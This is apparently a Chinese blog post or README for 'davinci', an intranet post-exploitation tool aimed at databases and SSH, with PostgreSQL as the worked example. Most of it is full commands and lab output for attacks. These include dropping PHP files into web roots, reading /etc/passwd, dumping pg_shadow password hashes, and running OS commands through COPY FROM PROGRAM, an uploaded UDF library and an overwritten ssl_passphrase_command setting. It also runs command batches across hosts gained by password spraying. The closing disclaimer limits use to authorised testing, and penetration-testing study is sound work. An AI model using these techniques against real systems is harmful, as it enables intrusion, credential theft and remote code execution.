• 前言
• 以PostgreSQL为例
• 交互式命令行
• 非交互式命令
• 自动化信息收集
• 文件写入
• lo_export
• copy to
• 文件读取
• lo_import
• pg_read_file
• copy from
• 执行系统命令
• CVE-2019-9193(copy from program)
• UDF
• ssl_passphrase_command
• 创建目录
• 列目录
• 批量执行
• 执行模板
• 批量执行
在内网经常会遇到各类数据库、中间件,但由于网络隔离、容器环境等各种因素影响,要在据点中得到一个可用的组件客户端有时候也并非轻易之举。此外,官方客户端也有可能不适配某些场景,例如所用C2是非交互式的,此时就很需要一个支持单行命令直接执行的工具。
笔者之前一般都是用官方的客户端,有时候遇到容器环境需要自行静态编译,遇到了非交互式的还用过expect脚本,到了真正能用上客户端时,又需要多个重复的动作来完成信息收集和漏洞利用。这对节能主义者来说是难以忍受的,于是就萌生过写一款工具来解决上述遇到的问题。
工具特性:
支持多个组件:MySQL、PostgreSQL、Clickhouse、GaussDB、MongoDB、Redis、SSH、Elasticsearch
三大基础功能:
交互式Shell:交互式执行命令,类似一般官方客户端提供的能力
非交互式执行:直接在一行中完成命令执行
信息收集:批量执行一组预置命令,完成各个组件的基础信息收集
针对各个组件定制的特定功能,包括但不限于:系统命令执行、文件读写等,取决于组件本身支持的利用方式
批量执行:通过模板文件来对一组目标批量执行命令
使用go开发,利用go交叉编译的特性,可以轻松编译出适配各种环境的可执行文件
详细的日志记录,便于复盘:)
注:上述的"命令"是指组件自身的命令,例如对于MySQL来说是SQL,而对于SSH来说则是系统命令。
工具地址:https://github.com/Ape1ron/davinci
下面通过PostgreSQL利用来介绍工具的使用。
每个组件都对应了一个子命令,PostgreSQL对应pgsql
┌──(root㉿kali)-[~/tools]
└─# ./davinci_linux_amd64 pgsql --help
pgsql client:
- exec: execute the command once and return directly
- shell: pgsql interactive shell
- auto_gather: automatically collect database information, including users, databases,
tables, table structures, and the first 5 rows of data for each table
- osshell: exec os shell,three ways: [cve-2019-9193 | udf | ssl_passpharse]
- writefile: write file,two ways: [lo_export | copy_to]
- readfile: read file,three ways: [lo_import | pg_read | copy_from]
- mkdir: create dir through log_directory,premise is logging_collector = on
- lsdir: list dir through pg_ls_dir
Example:
davinci pgsql exec -H 192.168.1.2 -P 5432 -u postgres -p 123456 -c "select user;"
davinci pgsql shell -H 192.168.1.2 -P 5432 -u postgres -p 123456
davinci pgsql auto_gather -H 192.168.1.2 -P 5432 -u postgres -p 123456
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193 --no-interactive -c "whoami"
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf --no-interactive -c "whoami"
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --ssl_passpharse -c "whoami"
davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_export -s ./eval.php -t /var/www/html/1.php
davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_to -C "<?php phpinfo(); ?>" -t /var/www/html/1.php
davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_import -t /etc/passwd
davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --pg_read -t /etc/passwd
davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_from -t /etc/passwd --hex
davinci pgsql mkdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t /etc/pg_dir
davinci pgsql lsdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t /
Usage:
davinci pgsql [exec|shell|auto_gather|osshell|writefile|readfile|mkdir|lsdir] [flags]
Flags:
-c, --cmd string cmd to be executed, used in exec(sql) and osshell(shell) mode
-C, --content string [write] write content to target,use for write file mode,choose one of content and source
--copy_from [read] use copy from to readfile
--copy_to [write] use 'copy to' to readfile
--cve-2019-9193 [osshell] use cve-2019-9193(copy from program) to exec,support version>=9.3
-d, --dbName string database name,not require
-h, --help help for pgsql
--hex [write/read] encode write/read file content
-H, --host string pgsql ip addr (default "127.0.0.1")
--lo_export [write] use lo_export to readfile
--lo_import [read] use lo_import to readfile
--no-interactive no-interactive with os shell
-p, --passwd string pasword
--pg_read [read] use pg_read to readfile
-P, --port int pgsql port (default 5432)
-s, --source string [write] (local) source file path,use for write file mode
--ssl_passpharse [osshell] use pgconfig ssl passpharse to exec,support version>=11
-t, --target string [write/read] (remote) target file path,use for write/read file mode
--udf [osshell] use udf to exec
-u, --user string username (default "postgres")
Global Flags:
--no-log not log to file
--silent close info level output
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql shell -H 192.168.83.129 -P 5432 -p 123456
> select version()
2024/09/07 09:35:15 [info] execute sql: select version()
+--------------------------------+
| VERSION |
+--------------------------------+
| PostgreSQL 16.4 (Debian |
| 16.4-1.pgdg120+1) on |
| x86_64-pc-linux-gnu, compiled |
| by gcc (Debian 12.2.0-14) |
| 12.2.0, 64-bit |
+--------------------------------+
> exit
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql exec -H 192.168.83.129 -P 5432 -p 123456 -c "select version()"
2024/09/07 09:36:27 [info] execute sql: select version()
+--------------------------------+
| VERSION |
+--------------------------------+
| PostgreSQL 16.4 (Debian |
| 16.4-1.pgdg120+1) on |
| x86_64-pc-linux-gnu, compiled |
| by gcc (Debian 12.2.0-14) |
| 12.2.0, 64-bit |
+--------------------------------+
收集逻辑如下:
获取版本信息
获取数据库用户列表
获取数据库支持的编程语言列表(pg_language)
获取database列表
遍历database获取所有schema(自动排除自带的database)
遍历所有schema获取所有table(自动排除自带的schemas)
获取每个table的结构,数据量以及前5行数据
获取所有扩展列表(pgavailableextensions)
获取数据库配置(pg_settings)
使用方式
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql auto_gather -H 192.168.83.129 -P 5432 -p 123456
2024/09/07 09:45:54 [info] get version
2024/09/07 09:45:54 [info] execute sql: select version();
+--------------------------------+
| VERSION |
+--------------------------------+
| PostgreSQL 16.4 (Debian |
| 16.4-1.pgdg120+1) on |
| x86_64-pc-linux-gnu, compiled |
| by gcc (Debian 12.2.0-14) |
| 12.2.0, 64-bit |
+--------------------------------+
2024/09/07 09:45:54 [info] get users
2024/09/07 09:45:54 [info] execute sql: SELECT usename,passwd FROM pg_shadow;
+----------+---------------------------------------------------------------------------------------------------------------------------------------+
| USENAME | PASSWD |
+----------+---------------------------------------------------------------------------------------------------------------------------------------+
| postgres | SCRAM-SHA-256$4096:IgY4gbZGYJm+Izbd5oY/Sg==$mImJT90qIRjmncKZUF6AdNcPHrReGcQlx/jSviY4r0w=:tPjBnjvHwBErOD8XsO/XANg4t6np9BgmxC/DrG7k0kc= |
+----------+---------------------------------------------------------------------------------------------------------------------------------------+
2024/09/07 09:45:54 [info] get pg_language
2024/09/07 09:45:54 [info] execute sql: select * from pg_language
+-------+----------+----------+---------+--------------+---------------+-----------+--------------+--------+
| OID | LANNAME | LANOWNER | LANISPL | LANPLTRUSTED | LANPLCALLFOID | LANINLINE | LANVALIDATOR | LANACL |
+-------+----------+----------+---------+--------------+---------------+-----------+--------------+--------+
| 12 | internal | 10 | false | false | 0 | 0 | 2246 | |
| 13 | c | 10 | false | false | 0 | 0 | 2247 | |
| 14 | sql | 10 | false | true | 0 | 0 | 2248 | |
| 13568 | plpgsql | 10 | true | true | 13565 | 13566 | 13567 | |
+-------+----------+----------+---------+--------------+---------------+-----------+--------------+--------+
2024/09/07 09:45:54 [info] get databases
2024/09/07 09:45:54 [info] execute sql: SELECT datname FROM pg_catalog.pg_database;
+-----------+
| DATNAME |
+-----------+
| postgres |
| template1 |
| template0 |
+-----------+
2024/09/07 09:45:54 [info] exclude database(built-in): template1,template0
2024/09/07 09:45:54 [info] get current database
2024/09/07 09:45:54 [info] execute sql: select current_database();
+------------------+
| CURRENT DATABASE |
+------------------+
| postgres |
+------------------+
2024/09/07 09:45:54 [info] get database size: postgres
2024/09/07 09:45:54 [info] execute sql: SELECT pg_size_pretty( pg_database_size('postgres') );
+----------------+
| PG SIZE PRETTY |
+----------------+
| 7484 kB |
+----------------+
2024/09/07 09:45:54 [info] get schemas
2024/09/07 09:45:54 [info] execute sql: SELECT schema_name,catalog_name,sql_path FROM information_schema.schemata;
+--------------------+--------------+----------+
| SCHEMA NAME | CATALOG NAME | SQL PATH |
+--------------------+--------------+----------+
| public | postgres | |
| information_schema | postgres | |
| pg_catalog | postgres | |
| pg_toast | postgres | |
+--------------------+--------------+----------+
2024/09/07 09:45:54 [info] exclude schemas(built-in): pg_toast,pg_temp_1,pg_toast_temp_1,pg_catalog,information_schema
2024/09/07 09:45:54 [info] [info] get tables in public
2024/09/07 09:45:54 [info] execute sql: SELECT table_name from information_schema.tables where table_schema='public'
+------------+
| TABLE NAME |
+------------+
+------------+
2024/09/07 09:45:54 [info] get extensions
2024/09/07 09:45:54 [info] execute sql: select * from pg_available_extensions
+--------------------+-----------------+-------------------+--------------------------------+
| NAME | DEFAULT VERSION | INSTALLED VERSION | COMMENT |
+--------------------+-----------------+-------------------+--------------------------------+
| autoinc | 1.0 | | functions for autoincrementing |
| ... | | | ... |
+--------------------+-----------------+-------------------+--------------------------------+
2024/09/07 09:45:56 [info] get pg settings
2024/09/07 09:45:56 [info] execute sql: select name,setting from pg_settings
+---------------------------------------------+------------------------------------------+
| NAME | SETTING |
+---------------------------------------------+------------------------------------------+
| allow_in_place_tablespaces | off |
| ... | ... |
+---------------------------------------------+------------------------------------------+
支持两种写文件的方式:
lo_export
copy to
两种写文件均支持两个参数来指定写入内容:
-C
:直接在命令行指定写入内容
-s
:指定源文件路径,程序会读取本地文件来作为写入内容
推荐优先选择lo_export来写文件
支持相对路径,默认路径是/var/lib/postgresql/data/
支持二进制写入
支持覆盖已有文件
支持多行文件
使用方式
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql writefile --lo_export -H 192.168.83.129 -P 5432 -p 123456 -s 1.php -t /tmp/1.php
2024/09/07 10:56:13 [info] execute sql: select count(*) from pg_largeobject where loid=172132
2024/09/07 10:56:13 [info] lo_export write file
2024/09/07 10:56:13 [info] execute sql: select lo_from_bytea(172132,decode('3c3f70687020706870696e666f28293b203f3e0a','hex'));
2024/09/07 10:56:13 [info] execute sql: select lo_export(172132, '/tmp/1.php');
2024/09/07 10:56:13 [info] write success
2024/09/07 10:56:13 [info] execute sql: select lo_unlink(172132)
也可以选择 -C
来直接指定写入内容
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql writefile --lo_export -H 192.168.83.129 -P 5432 -p 123456 -C '<?php phpinfo(); ?>' -t /tmp/2.php
2024/09/07 10:59:00 [info] execute sql: select count(*) from pg_largeobject where loid=139935
2024/09/07 10:59:00 [info] lo_export write file
2024/09/07 10:59:00 [info] execute sql: select lo_from_bytea(139935,decode('3c3f70687020706870696e666f28293b203f3e','hex'));
2024/09/07 10:59:00 [info] execute sql: select lo_export(139935, '/tmp/2.php');
2024/09/07 10:59:00 [info] write success
2024/09/07 10:59:00 [info] execute sql: select lo_unlink(139935)
copy to只能写单行文件,因为所有换行符都会被转义,推荐优先使用lo_export。
使用方式
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql writefile --copy_to -H 192.168.83.129 -P 5432 -p 123456 -C '<?php phpinfo(); ?>' -t /tmp/3.php
2024/09/07 11:01:04 [info] copy to write file
2024/09/07 11:01:04 [info] execute sql: copy (select convert_from(decode('3c3f70687020706870696e666f28293b203f3e','hex'),'utf-8')) to '/tmp/3.php';
2024/09/07 11:01:04 [info] write success
支持三种方式读取文件
lo_import
pgreadfile
copy from
三种读取文件的方式均支持 --hex
参数,当输入该参数后,读取的文件内容自动使用hex编码,常用于读取二进制文件的场景
只要有权限读即可,不限制目录
可以读取二进制文件
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql readfile --lo_import -H 192.168.83.129 -P 5432 -p 123456 -t /tmp/1.php
2024/09/07 11:19:04 [info] read file by lo_import()
2024/09/07 11:19:04 [info] execute sql: select count(*) from pg_largeobject where loid=083516
2024/09/07 11:19:04 [info] execute sql: select lo_import('/tmp/1.php',083516);
2024/09/07 11:19:04 [info] execute sql: select data from pg_largeobject where loid=083516
2024/09/07 11:19:04 [info] execute sql: select lo_unlink(083516)
<?php phpinfo(); ?>
可以增加 --hex
参数编码读取结果
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql readfile --lo_import -H 192.168.83.129 -P 5432 -p 123456 -t /tmp/1.php --hex
2024/09/07 11:19:39 [info] read file by lo_import()
2024/09/07 11:19:39 [info] execute sql: select count(*) from pg_largeobject where loid=164009
2024/09/07 11:19:39 [info] execute sql: select lo_import('/tmp/1.php',164009);
2024/09/07 11:19:39 [info] execute sql: select encode(data,'hex') from pg_largeobject where loid=164009
2024/09/07 11:19:39 [info] execute sql: select lo_unlink(164009)
3c3f70687020706870696e666f28293b203f3e0a
在部分版本下,只能访问datadirectory和logdirectory配置指向目录下的文件。
select current_setting('data_directory')
select current_setting('log_directory')
使用方式
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql readfile --pg_read -H 192.168.83.129 -P 5432 -p 123456 -t /tmp/1.php
2024/09/07 11:24:13 [info] read file by pg_read_file
2024/09/07 11:24:13 [info] execute sql: select pg_read_file('/tmp/1.php')
<?php phpinfo(); ?>
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql readfile --copy_from -H 192.168.83.129 -P 5432 -p 123456 -t /tmp/1.php
2024/09/07 11:25:19 [info] read file by copy from
2024/09/07 11:25:19 [info] [info] get tables in postgres
2024/09/07 11:25:19 [info] execute sql: SELECT table_name from information_schema.tables where table_schema='postgres'
2024/09/07 11:25:19 [info] execute sql: create table IqOhlvlLoU(data TEXT);
2024/09/07 11:25:19 [info] execute sql: copy IqOhlvlLoU from '/tmp/1.php';
2024/09/07 11:25:19 [info] execute sql: select data from IqOhlvlLoU
2024/09/07 11:25:19 [info] execute sql: drop table IqOhlvlLoU;
<?php phpinfo(); ?>
支持三种方式执行系统命令:
CVE-2019-9193 / copy from program
UDF
sslpassphrasecommand
推荐优先使用CVE-2019-9193(copy from program)方式来执行系统命令
虽然被分配了CVE编号(tag为disputed),但PostgreSQL官方并不认为该利用方式为安全漏洞,而是正常的功能需求,详情可参考:https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/
因此该利用方式从9.3版本开始(提供copy from语句),一直到目前最新发行版本16都是有效的。
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql osshell --cve-2019-9193 -H 192.168.83.129 -P 5432 -p 123456
> pwd
2024/09/07 14:02:36 [info] [info] get tables in postgres
2024/09/07 14:02:36 [info] execute sql: SELECT table_name from information_schema.tables where table_schema='postgres'
2024/09/07 14:02:36 [info] execute sql: CREATE TABLE LCQUfcYtqd(output text);
2024/09/07 14:02:36 [info] execute sql: COPY LCQUfcYtqd FROM PROGRAM 'pwd';
2024/09/07 14:02:36 [info] execute sql: select output from LCQUfcYtqd
2024/09/07 14:02:36 [info] execute sql: DROP TABLE IF EXISTS LCQUfcYtqd;
/var/lib/postgresql/data
类似地,你也可以 --no-interactive
参数非交互式执行单条命令
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql osshell --cve-2019-9193 -H 192.168.83.129 -P 5432 -p 123456 --no-interactive -c "pwd" --silent
/var/lib/postgresql/data
在第一次加载UDF时,需要先上传动态链接库并创建UDF,退出后不会主动删除UDF。
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql osshell --udf -H 192.168.83.129 -P 5432 -p 123456
> pwd
2024/09/07 14:13:14 [info] execute sql: select * from pg_proc where proname='sys_eval'
2024/09/07 14:13:14 [info] execute sql: show server_version
2024/09/07 14:13:14 [info] execute sql: select version()
2024/09/07 14:13:14 [info] os: linux , platform: x86_64, version: 16.4 (Debian 16.4-1.pgdg120+1)
2024/09/07 14:13:14 [info] main version: 16
2024/09/07 14:13:14 [info] execute sql: select current_setting('data_directory')
2024/09/07 14:13:14 [info] execute sql: select count(*) from pg_largeobject where loid=079233
2024/09/07 14:13:14 [info] lo_export write file
2024/09/07 14:13:14 [info] execute sql: select lo_from_bytea(079233,decode('74....','hex'));
2024/09/07 14:13:14 [info] execute sql: select lo_export(079233, '/var/lib/postgresql/data/BodhUbRg.so');
2024/09/07 14:13:14 [info] write success
2024/09/07 14:13:14 [info] execute sql: select lo_unlink(079233)
2024/09/07 14:13:14 [info] execute sql: create or replace function sys_eval(text) returns text as '/var/lib/postgresql/data/BodhUbRg.so','sys_eval' language c strict;
2024/09/07 14:13:14 [info] execute sql: select sys_eval('pwd')
/var/lib/postgresql/data
> whoami
2024/09/07 14:13:24 [info] execute sql: select * from pg_proc where proname='sys_eval'
2024/09/07 14:13:24 [info] execute sql: select sys_eval('whoami')
postgres
你可以通过如下方式删除UDF:
./davinci pgsql exec -H 192.168.83.129 -u postgres -p myPass@123 -c "drop function sys_eval"
在PostgreSQL 8.2 及之后,会对链接库进行校验(10之前每个小版本校验,10之后每个大版本校验),因此每个版本都需要独立编译链接库,工具已内置了Linux下的多个版本的UDF链接库,并且会自动收集信息来选择对应的链接库。
X86_64:8.2-8.4,9.0-9.6,10-16
X86_32:8.2-8.4,9.0-9.6,10-15
ARM64:9.1-9.6,10-16
如果你的目标并不在预置列表中,可以参考如下扩展编译方式:
找到目标版本,下载对应的postgresql-server-dev
将/davinci/lib/postgresql/eval.c上传到编译机器
运行编译命令,其中/usr/include/postgresql/10/server目录是postgres.h头文件的所在目录
gcc -Wall -I/usr/include/postgresql/10/server -Os -shared eval.c -fPIC -o lib_postgresqludf_sys_eval_exec.so
操作可参考:https://infosecwriteups.com/compiling-postgres-library-for-exploiting-udf-to-rce-d8cfd197bdf9
参考:https://pulsesecurity.co.nz/articles/postgres-sqli
原理:当postgresql.conf配置了 sslpassphrasecommand 时,在获取SSL文件的密码时会调用该配置指定的命令。上传 pem,key 到目标服务器上,读取并覆盖配置文件,重载配置文件时将执行命令。
利用条件:
需要知道 PGVERSION 文件的位置 (不是 PGVERSION 文件也行,pgsql限制私钥文件权限必须是0600才能够加载,理论上pgsql目录下所有0600权限的文件都是可以的,但覆盖后影响较小的就 PG_VERSION 了),默认就在conf目录,比较容易读到
pg version >= 11,11开始才支持sslpassphrasecommand命令
注意,该方式执行命令无回显。
利用方式:
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql osshell --ssl_passpharse -H 192.168.83.129 -P 5432 -p 123456 -c "touch /tmp/ssl_passpharse_test.txt"
2024/09/07 16:06:47 [info] execute sql: show server_version
2024/09/07 16:06:47 [info] read file by lo_import()
2024/09/07 16:06:47 [info] execute sql: select count(*) from pg_largeobject where loid=724369
2024/09/07 16:06:47 [info] execute sql: select lo_import('/etc/ssl/private/ssl-cert-snakeoil.key',724369);
2024/09/07 16:06:47 [info] execute sql: select data from pg_largeobject where loid=724369
2024/09/07 16:06:47 [info] execute sql: select lo_unlink(724369)
2024/09/07 16:06:47 [info] execute sql: select current_setting('data_directory')
2024/09/07 16:06:47 [info] execute sql: select count(*) from pg_largeobject where loid=591751
2024/09/07 16:06:47 [info] lo_export write file
2024/09/07 16:06:47 [info] execute sql: select lo_from_bytea(591751,decode('...','hex'));
2024/09/07 16:06:47 [info] execute sql: select lo_export(591751, '/var/lib/postgresql/data/PG_VERSION');
2024/09/07 16:06:47 [info] write success
2024/09/07 16:06:47 [info] execute sql: select lo_unlink(591751)
2024/09/07 16:06:47 [info] execute sql: select setting from pg_settings where name='config_file'
2024/09/07 16:06:47 [info] config_file: /var/lib/postgresql/data/postgresql.conf
2024/09/07 16:06:47 [info] read file by pg_read_file
2024/09/07 16:06:47 [info] execute sql: select pg_read_file('/var/lib/postgresql/data/postgresql.conf')
2024/09/07 16:06:47 [info] execute sql: select count(*) from pg_largeobject where loid=080308
2024/09/07 16:06:47 [info] lo_export write file
2024/09/07 16:06:47 [info] execute sql: select lo_from_bytea(080308,decode('...','hex'));
2024/09/07 16:06:47 [info] execute sql: select lo_export(080308, '/var/lib/postgresql/data/postgresql.conf');
2024/09/07 16:06:47 [info] write success
2024/09/07 16:06:47 [info] execute sql: select lo_unlink(080308)
2024/09/07 16:06:47 [info] execute sql: select pg_reload_conf();
2024/09/07 16:06:47 [info] exec success
参考:https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/
利用条件
目标已经配置了 logging_collector = on (默认关闭)
原理:当PostgreSQL开启了日志服务后,修改postgresql.conf中的log_directory指定日志存储目录,当目录不存在时会被创建
利用方式
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql mkdir -H 192.168.83.129 -P 5432 -p 123456 -t /tmp/test
2024/09/07 16:46:13 [info] execute sql: select setting from pg_settings where name='logging_collector'
2024/09/07 16:46:13 [info] execute sql: select setting from pg_settings where name='config_file'
2024/09/07 16:46:13 [info] config_file: /var/lib/postgresql/data/postgresql.conf
2024/09/07 16:46:13 [info] read file by pg_read_file
2024/09/07 16:46:13 [info] execute sql: select pg_read_file('/var/lib/postgresql/data/postgresql.conf')
2024/09/07 16:46:13 [info] execute sql: select count(*) from pg_largeobject where loid=945798
2024/09/07 16:46:13 [info] lo_export write file
2024/09/07 16:46:13 [info] execute sql: select lo_from_bytea(945798,decode('...','hex'));
2024/09/07 16:46:14 [info] execute sql: select lo_export(945798, '/var/lib/postgresql/data/postgresql.conf');
2024/09/07 16:46:14 [info] write success
2024/09/07 16:46:14 [info] execute sql: select lo_unlink(945798)
2024/09/07 16:46:14 [info] execute sql: select pg_reload_conf();
2024/09/07 16:46:14 [info] execute sql: select setting from pg_settings where name='log_directory'
2024/09/07 16:46:14 [info] execute sql: select count(*) from pg_largeobject where loid=660165
2024/09/07 16:46:14 [info] execute sql: select lo_import('/tmp/test',660165);
2024/09/07 16:46:14 [info] mkdir dir success
注意,该利用方式会修改数据库的日志存储目录。
利用pglsdir函数列目录
┌──(root㉿kali)-[~/tools]
└─# ./davinci pgsql lsdir -H 192.168.83.129 -P 5432 -p 123456 -t /
2024/09/07 16:31:44 [info] list dir by pg_ls_dir
2024/09/07 16:31:44 [info] execute sql: select pg_ls_dir('/')
+----------------------------+
| PG LS DIR |
+----------------------------+
| home |
| media |
| sys |
| sbin |
| var |
| mnt |
| etc |
| dev |
| lib |
| bin |
| usr |
| run |
| boot |
| tmp |
| proc |
| opt |
| lib64 |
| srv |
| root |
| .dockerenv |
| docker-entrypoint-initdb.d |
+----------------------------+
在内网中,通过密码喷洒等方式获取不同组件的多个实例权限是常见的场景,该功能可以实现在多个目标上同时执行一组命令。
批量执行功能需要使用配置文件来制定执行计划,可以通过如下面命令导出一份模板:
┌──(root㉿kali)-[~/tools]
└─# ./davinci batch export
2024/09/07 15:01:41 [info] export batch config template success: .davinci_batch.json
┌──(root㉿kali)-[~/tools]
└─# cat .davinci_batch.json
[
{
"cmd_type": "ssh",
"hosts": [
"127.0.0.1",
"192.168.83.1/24",
"192.168.83.1-20"
],
"port": 22,
"user": "root",
"passwd": "123456",
"cmds": [
"ls -al /",
"ifconfig"
]
},
{
"cmd_type": "redis",
"hosts": [
"127.0.0.1"
],
"port": 6379,
"cmds": [
"dbsize"
]
}
]
配置文件是一个数组,每个元素对应一批执行目标,如下所示,如果类型、端口、用户名、和密码相同就可以归结为同一批目标。
type batchExec struct {
CmdType string `json:"cmd_type"` // 类型:ssh、mysql、pgsql、gaussdb、clickhouse、redis、mongo
Hosts []string `json:"hosts"` // 域名或ip,ip支持三种表达形式,如导出文件所示
Port int `json:"port,omitempty"` // 端口
User string `json:"user,omitempty"` // 用户名
Passwd string `json:"passwd,omitempty"` // 密码
Cmds []string `json:"cmds"` // 需要执行的命令,每条命令可以看作对应./davinci {service} exec xxx
}
如下模板分别对192.168.83.129的SSH,192.168.83.129的PostgreSQL执行命令:
[
{
"cmd_type": "ssh",
"hosts": [
"192.168.83.129"
],
"port": 22,
"user": "root",
"passwd": "123456",
"cmds": [
"ls -al /",
"ifconfig"
]
},
{
"cmd_type": "pgsql",
"hosts": [
"192.168.83.129"
],
"port": 5432,
"user": "postgres",
"passwd": "123456",
"cmds": [
"select version()",
"select oid, datname from pg_catalog.pg_database"
]
}
]
编辑好模板后,使用如下命令批量执行。
┌──(root㉿kali)-[~/tools]
└─# ./davinci batch exec -f davinci_batch.json
2024/09/07 15:18:12 [info] load batch config success: davinci_batch.json
2024/09/07 15:18:12 [info] try batch execute in : 192.168.83.129
2024/09/07 15:18:13 [info] execute: ls -al /
total 2097272
drwxr-xr-x 26 root root 4096 Sep 5 19:29 .
drwxr-xr-x 26 root root 4096 Sep 5 19:29 ..
drwxr-xr-x 2 root root 4096 May 13 07:45 bin
drwxr-xr-x 3 root root 4096 May 13 07:40 boot
drwxrwxr-x 2 root root 4096 May 12 23:25 cdrom
drwxr-xr-x 3 root root 4096 Sep 5 19:29 data
drwxr-xr-x 17 root root 4380 Aug 29 20:55 dev
drwxr-xr-x 128 root root 12288 Aug 27 23:48 etc
drwxr-xr-x 4 root root 4096 Aug 27 23:52 home
2024/09/07 15:18:13 [info] execute: ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:3ff:fec6:8068 prefixlen 64 scopeid 0x20<link>
ether 02:42:03:c6:80:68 txqueuelen 0 (Ethernet)
RX packets 13021 bytes 1372419 (1.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 14188 bytes 66081327 (66.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.83.129 netmask 255.255.255.0 broadcast 192.168.83.255
inet6 fe80::20c:29ff:fe7b:6220 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7b:62:20 txqueuelen 1000 (Ethernet)
RX packets 2027131 bytes 2375833742 (2.3 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 228336 bytes 36514508 (36.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 9906 bytes 745185 (745.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9906 bytes 745185 (745.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
2024/09/07 15:18:13 [info] try batch execute in : 192.168.83.129
2024/09/07 15:18:13 [info] execute sql: select version()
+--------------------------------+
| VERSION |
+--------------------------------+
| PostgreSQL 16.4 (Debian |
| 16.4-1.pgdg120+1) on |
| x86_64-pc-linux-gnu, compiled |
| by gcc (Debian 12.2.0-14) |
| 12.2.0, 64-bit |
+--------------------------------+
2024/09/07 15:18:13 [info] execute sql: select oid, datname from pg_catalog.pg_database
+-----+-----------+
| OID | DATNAME |
+-----+-----------+
| 5 | postgres |
| 1 | template1 |
| 4 | template0 |
+-----+-----------+
如果不使用-f参数指定模板文件,则会默认使用当前目录的.davinci_batch.json文件作为模板。
除了使用模板文件,你也可以直接通过 -b/--b64config
来直接指定模板内容,只需要将模板base64编码即可:
./davinci batch exec -b WwogICAgewogICAgICAgICJjbWRfdHlwZSI6ICJzc2giLAogICAgICAgICJob3N0cyI6IFsKICAgICAgICAgICAgIjE5Mi4xNjguODMuMTI5IgogICAgICAgIF0sCiAgICAgICAgInBvcnQiOiAyMiwKICAgICAgICAidXNlciI6ICJyb290IiwKICAgICAgICAicGFzc3dkIjogIjEyMzQ1NiIsCiAgICAgICAgImNtZHMiOiBbCiAgICAgICAgICAgICJscyAtYWwgLyIsCiAgICAgICAgICAgICJpZmNvbmZpZyIKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJjbWRfdHlwZSI6ICJwZ3NxbCIsCiAgICAgICAgImhvc3RzIjogWwogICAgICAgICAgICAiMTkyLjE2OC44My4xMjkiCiAgICAgICAgXSwKICAgICAgICAicG9ydCI6IDU0MzIsCiAgICAgICAgInVzZXIiOiAicG9zdGdyZXMiLAogICAgICAgICJwYXNzd2QiOiAiMTIzNDU2IiwKICAgICAgICAiY21kcyI6IFsKICAgICAgICAgICAgInNlbGVjdCB2ZXJzaW9uKCkiLAogICAgICAgICAgICAic2VsZWN0IG9pZCwgZGF0bmFtZSBmcm9tIHBnX2NhdGFsb2cucGdfZGF0YWJhc2UiCiAgICAgICAgXQogICAgfQpd
本工具仅用于研究目的与合法测试,未经授权使用本工具攻击目标是非法的,请勿用于生产环境。
使用者自身要了解不同利用方式引入的风险,例如redis 主从复制会清空数据,利用工具造成的后果及损失需要自行负责。
更多使用方式请参考:https://github.com/Ape1ron/davinci/wiki